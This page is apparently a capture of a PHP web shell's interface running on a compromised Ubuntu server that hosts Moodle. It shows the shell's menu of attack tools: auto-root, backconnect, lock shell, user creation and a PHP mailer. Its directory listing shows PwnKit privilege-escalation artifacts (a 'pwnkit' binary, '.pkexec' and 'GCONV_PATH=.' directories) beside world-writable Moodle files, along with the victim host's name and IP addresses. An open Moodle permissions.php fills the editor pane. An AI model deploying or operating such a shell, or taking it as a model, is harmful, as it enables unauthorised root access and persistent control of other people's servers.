Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
admin /
roles /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
admins.php
5.6
KB
-rwxrwxrwx
allow.php
2.47
KB
-rwxrwxrwx
assign.php
11.73
KB
-rwxrwxrwx
check.php
6.63
KB
-rwxrwxrwx
define.php
6.77
KB
-rwxrwxrwx
lib.php
68
KB
-rwxrwxrwx
manage.php
10.53
KB
-rwxrwxrwx
managetabs.php
1.66
KB
-rwxrwxrwx
module.js
6.51
KB
-rwxrwxrwx
override.php
6.66
KB
-rwxrwxrwx
permissions.php
8.63
KB
-rwxrwxrwx
permissions_forms.php
3.31
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
usersroles.php
8.21
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : permissions.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This script serves draft files of current user * * @package core * @subpackage role * @copyright 2009 Petr Skoda (skodak) info@skodak.org * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require('../../config.php'); require_once("$CFG->dirroot/$CFG->admin/roles/lib.php"); require_once("permissions_forms.php"); $contextid = required_param('contextid',PARAM_INT); $roleid = optional_param('roleid', 0, PARAM_INT); $capability = optional_param('capability', false, PARAM_CAPABILITY); $confirm = optional_param('confirm', 0, PARAM_BOOL); $prevent = optional_param('prevent', 0, PARAM_BOOL); $allow = optional_param('allow', 0, PARAM_BOOL); $unprohibit = optional_param('unprohibit', 0, PARAM_BOOL); $prohibit = optional_param('prohibit', 0, PARAM_BOOL); list($context, $course, $cm) = get_context_info_array($contextid); $url = new moodle_url('/admin/roles/permissions.php', array('contextid' => $contextid)); if ($course) { $isfrontpage = ($course->id == SITEID); } else { $isfrontpage = false; if ($context->contextlevel == CONTEXT_USER) { $course = $DB->get_record('course', array('id'=>optional_param('courseid', SITEID, PARAM_INT)), '*', MUST_EXIST); $user = $DB->get_record('user', array('id'=>$context->instanceid), '*', MUST_EXIST); $url->param('courseid', $course->id); $url->param('userid', $user->id); } else { $course = $SITE; } } // security first require_login($course, false, $cm); require_capability('moodle/role:review', $context); $PAGE->set_url($url); $PAGE->set_context($context); $courseid = $course->id; // These are needed early because of tabs.php $assignableroles = get_assignable_roles($context, ROLENAME_BOTH); list($overridableroles, $overridecounts, $nameswithcounts) = get_overridable_roles($context, ROLENAME_BOTH, true); if ($capability) { $capability = $DB->get_record('capabilities', array('name'=>$capability), '*', MUST_EXIST); } $allowoverrides = has_capability('moodle/role:override', $context); $allowsafeoverrides = has_capability('moodle/role:safeoverride', $context); $contextname = print_context_name($context); $title = get_string('permissionsincontext', 'role', $contextname); $straction = get_string('permissions', 'role'); // Used by tabs.php $currenttab = 'permissions'; $PAGE->set_pagelayout('admin'); $PAGE->set_title($title); switch ($context->contextlevel) { case CONTEXT_SYSTEM: print_error('cannotoverridebaserole', 'error'); break; case CONTEXT_USER: $fullname = fullname($user, has_capability('moodle/site:viewfullnames', $context)); $PAGE->set_heading($fullname); $showroles = 1; break; case CONTEXT_COURSECAT: $PAGE->set_heading("$SITE->fullname: ".get_string("categories")); break; case CONTEXT_COURSE: if ($isfrontpage) { admin_externalpage_setup('frontpageroles', '', array(), $PAGE->url); } else { $PAGE->set_heading($course->fullname); } break; case CONTEXT_MODULE: $PAGE->set_heading(print_context_name($context, false)); $PAGE->set_cacheable(false); break; case CONTEXT_BLOCK: $PAGE->set_heading($PAGE->course->fullname); break; } // handle confirmations and actions // We have a capability and overrides are allowed or safe overrides are allowed and this is safe if ($capability && ($allowoverrides || ($allowsafeoverrides && is_safe_capability($capability)))) { // If we already know the the role ID, it is overrideable, and we are setting prevent or unprohibit if (isset($overridableroles[$roleid]) && ($prevent || $unprohibit)) { // We are preventing if ($prevent) { if ($confirm && data_submitted() && confirm_sesskey()) { role_change_permission($roleid, $context, $capability->name, CAP_PREVENT); redirect($PAGE->url); } else { $a = (object)array('cap'=>get_capability_docs_link($capability)." ($capability->name)", 'role'=>$overridableroles[$roleid], 'context'=>$contextname); $message = get_string('confirmroleprevent', 'role', $a); $continueurl = new moodle_url($PAGE->url, array('contextid'=>$context->id, 'roleid'=>$roleid, 'capability'=>$capability->name, 'prevent'=>1, 'sesskey'=>sesskey(), 'confirm'=>1)); } } // We are unprohibiting if ($unprohibit) { if ($confirm && data_submitted() && confirm_sesskey()) { role_change_permission($roleid, $context, $capability->name, CAP_INHERIT); redirect($PAGE->url); } else { $a = (object)array('cap'=>get_capability_docs_link($capability)." ($capability->name)", 'role'=>$overridableroles[$roleid], 'context'=>$contextname); $message = get_string('confirmroleunprohibit', 'role', $a); $continueurl = new moodle_url($PAGE->url, array('contextid'=>$context->id, 'roleid'=>$roleid, 'capability'=>$capability->name, 'unprohibit'=>1, 'sesskey'=>sesskey(), 'confirm'=>1)); } } // Display and print echo $OUTPUT->header(); echo $OUTPUT->heading($title); echo $OUTPUT->confirm($message, $continueurl, $PAGE->url); echo $OUTPUT->footer(); die; } if ($allow || $prohibit) { if ($allow) { $mform = new role_allow_form(null, array($context, $capability, $overridableroles)); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data() and !empty($data->roleid)) { $roleid = $data->roleid; if (isset($overridableroles[$roleid])) { role_change_permission($roleid, $context, $capability->name, CAP_ALLOW); } redirect($PAGE->url); } else { $a = (object)array('cap'=>get_capability_docs_link($capability)." ($capability->name)", 'context'=>$contextname); $message = get_string('roleallowinfo', 'role', $a); } } if ($prohibit) { $mform = new role_prohibit_form(null, array($context, $capability, $overridableroles)); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data() and !empty($data->roleid)) { $roleid = $data->roleid; if (isset($overridableroles[$roleid])) { role_change_permission($roleid, $context, $capability->name, CAP_PROHIBIT); } redirect($PAGE->url); } else { $a = (object)array('cap'=>get_capability_docs_link($capability)." ($capability->name)", 'context'=>$contextname); $message = get_string('roleprohibitinfo', 'role', $a); } } echo $OUTPUT->header(); echo $OUTPUT->heading($title); echo $OUTPUT->box($message); $mform->display(); echo $OUTPUT->footer(); die; } } echo $OUTPUT->header(); echo $OUTPUT->heading($title); $table = new permissions_table($context, $contextname, $allowoverrides, $allowsafeoverrides, $overridableroles); echo $OUTPUT->box_start('generalbox capbox'); // print link to advanced override page if ($overridableroles) { $overrideurl = new moodle_url('/admin/roles/override.php', array('contextid' => $context->id)); $select = new single_select($overrideurl, 'roleid', $nameswithcounts); $select->label = get_string('advancedoverride', 'role'); echo html_writer::tag('div', $OUTPUT->render($select), array('class'=>'advancedoverride')); } $table->display(); echo $OUTPUT->box_end(); if ($context->contextlevel > CONTEXT_USER) { echo html_writer::start_tag('div', array('class'=>'backlink')); echo html_writer::tag('a', get_string('backto', '', $contextname), array('href'=>get_context_url($context))); echo html_writer::end_tag('div'); } echo $OUTPUT->footer($course);
Close